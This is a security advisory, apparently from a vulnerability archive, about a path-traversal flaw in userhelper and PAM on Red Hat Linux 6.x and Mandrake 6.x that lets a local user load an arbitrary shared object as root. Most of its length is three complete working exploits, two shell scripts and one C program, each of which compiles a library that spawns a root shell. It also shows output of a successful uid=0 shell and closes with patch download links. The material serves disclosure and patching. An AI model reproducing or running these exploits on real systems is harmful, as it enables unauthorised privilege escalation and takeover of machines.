COMMAND

    userhelper and PAM

SYSTEMS AFFECTED

    Redhat Linux 6.0/6.1

PROBLEM

    Following is  based on  L0pht Security  Advisory.   Both 'pam' and
    'userhelper' (a setuid binary that comes with the  'usermode-1.15'
    rpm)   follow   ..   paths.    Since   pam_start   calls  down  to
    _pam_add_handler(), we  can get  it to  dlopen any  file on  disk.
    'userhelper' being setuid means we can get root.

    The combination of the fact that both userhelper and PAM follow ..
    paths allows us to craft up a file that causes userhelper (by  way
    of PAM) to dlopen any shared object we want as root.  The  exploit
    is simple, and utilizes the '-w' option of userhelper, which  lets
    us specify a program to run with the privileges designated by PAM.
    This  tries  to  only  execute  programs  that  have  entries   in
    /etc/security/console.apps, but since we get to specify the  name,
    something like ../../../tmp/myprog gets  us a file open  path that
    looks     like     /etc/security/console.apps/../../../tmp/myprog.
    "strcat" is not a good way to keep a filename below a directory!

    After this hurdle, PAM  is called to start  up the binary, and  it
    does the same thing, looking  for the filename in /etc/pam.d.   If
    we've placed a rogue pam.d configuration file in /tmp/myprog, then
    it  can  be  pointed  to  /etc/pam.d/../../../tmp/myprog.   In the
    pam.d configuration file,  we get to  pick a few  shared libraries
    to dlopen, so at this point, we get root.

    The following exploit demonstrates this vulnerability by  creating
    a 'rootshell library' that creates a shell when dlopened, creating
    a pam.d-style configuration file, and then running userhelper with
    the appropriately dotted path.  Exploit:

    #!/bin/sh
    #
    # pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start
    # found by dildog@l0pht.com
    #
    # synopsis:
    #    both 'pam' and 'userhelper' (a setuid binary that comes with the
    #    'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to
    #    _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'
    #    being setuid means we can get root.
    #
    # fix:
    #    No fuckin idea for a good fix. Get rid of the .. paths in userhelper
    #    for a quick fix. Remember 'strcat' isn't a very good way of confining
    #    a path to a particular subdirectory.
    #
    # props to my mommy and daddy, cuz they made me drink my milk.

    cat > _pamslam.c << EOF
    #include<stdlib.h>
    #include<unistd.h>
    #include<sys/types.h>
    void _init(void)
    {
        setuid(geteuid());
        system("/bin/sh");
    }
    EOF

    echo -n .

    echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf
    chmod 755 _pamslam.conf

    echo -n .

    gcc -fPIC -o _pamslam.o -c _pamslam.c

    echo -n o

    ld -shared -o _pamslam.so _pamslam.o

    echo -n o

    chmod 755 _pamslam.so

    echo -n O

    rm _pamslam.c
    rm _pamslam.o

    echo O

    /usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf

    sleep 1s

    rm _pamslam.so
    rm _pamslam.conf

    Derek Callaway posted another userhelper/PAM exploit:

    #!/bin/sh
    # userrooter.sh by S <super@innu.org>
    # RedHat PAM/userhelper(8) exploit
    # Hi to inNUENdo!
    LAME=`rpm -qf /usr/sbin/userhelper | awk -F'-' '{print $2}' | awk -F'.' '{print $2}'`
    if [ $LAME -gt 15 ]
	    then echo "Machine doesn't appear to be vulnerable :-\\"
	    echo "Trying anyway..."
    fi
    cat << EOF >/tmp/hello-root.c
    #include<unistd.h>
    #include<stdlib.h>

    void pam_sm_authenticate(void){
            setuid(0);
            puts("userrooter by S");
            system("/bin/sh");
            exit(EXIT_SUCCESS);
    }

    void pam_sm_setcred(void){
	    setuid(0);
	    puts("userrooter by S");
	    system("/bin/sh");
	    exit(EXIT_SUCCESS);
    }
    EOF

    cat << EOF >/tmp/login
    #%PAM-1.0
    auth     required       /tmp/pamper.so
    EOF

    gcc -shared -fPIC -O2 -o /tmp/pamper.so /tmp/hello-root.c
    rm /tmp/hello-root.c
    chmod 0700 /tmp/login
    /usr/sbin/userhelper -w ../../../tmp/login
    rm /tmp/pamper.so
    rm /tmp/login

    or

    /*
     * pam-mdk.c (C) 2000 Paulo Ribeiro
     *
     * DESCRIPTION:
     * -----------
     * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
     * exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
     * I created this C program based on it which exploits PAM/userhelper
     * and gives you UID 0.
     *
     * SYSTEMS TESTED:
     * --------------
     * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
     *
     * RESULTS:
     * -------
     * [prrar@linux prrar]$ id
     * uid=501(prrar) gid=501(prrar) groups=501(prrar)
     * [prrar@linux prrar]$ gcc pam-mdk.c -o pam-mdk
     * [prrar@linux prrar]$ ./pam-mdk
     * sh-2.03# id
     * uid=0(root) gid=501(prrar) groups=501(prrar)
     * sh-2.03#
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    int main(int argc, char *argv[])
    {
            FILE *fp;

            strcpy(argv[0], "vi test.txt");

            fp = fopen("abc.c", "a");
            fprintf(fp, "#include<stdlib.h>\n");
            fprintf(fp, "#include<unistd.h>\n");
            fprintf(fp, "#include<sys/types.h>\n");
            fprintf(fp, "void _init(void) {\n");
            fprintf(fp, "\tsetuid(geteuid());\n");
            fprintf(fp, "\tsystem(\"/bin/sh\");\n");
            fprintf(fp, "}");
            fclose(fp);

            system("echo -e auth\trequired\t$PWD/abc.so > abc.conf");
            system("chmod 755 abc.conf");
            system("gcc -fPIC -o abc.o -c abc.c");
            system("ld -shared -o abc.so abc.o");
            system("chmod 755 abc.so");
            system("/usr/sbin/userhelper -w ../../..$PWD/abc.conf");
            system("rm -rf abc.*");
    }

    /* pam-mdk.c: EOF */

    It appears that Mandrake 6.0 is vulnerable too:

        [darron@maul darron]$ gcc pam-mdk.c -o pam-mdk
        [darron@maul darron]$ ./pam-mdk
        sh-2.03# id
        uid=0(root) gid=502(admin) groups=502(admin)
        sh-2.03#
        [darron@maul /etc]$ cat mandrake-release
        Linux Mandrake release 6.0 (Venus)

SOLUTION

    Download the fix from RedHat at:

      Intel:
        ftp://updates.redhat.com/6.1/i386/pam-0.68-10.i386.rpm
        ftp://updates.redhat.com/6.1/i386/usermode-1.17-1.i386.rpm

      Alpha:
        ftp://updates.redhat.com/6.1/alpha/pam-0.68-10.alpha.rpm
        ftp://updates.redhat.com/6.1/alpha/usermode-1.17-1.alpha.rpm

      Sparc:
        ftp://updates.redhat.com/6.1/sparc/pam-0.68-10.sparc.rpm
        ftp://updates.redhat.com/6.1/sparc/usermode-1.17-1.sparc.rpm

      Source packages:
        ftp://updates.redhat.com/6.1/SRPMS/pam-0.68-10.src.rpm
        ftp://updates.redhat.com/6.1/SRPMS/usermode-1.17-1.src.rpm

    For Turbo Linux:

        rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/security/pam-0.72-5.i386.rpm
        rpm -Fvh ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-5.src.rpm

    The source rpms can be downloaded here:

        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/pam-0.72-3.src.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/usermode-1.18-1.src.rpm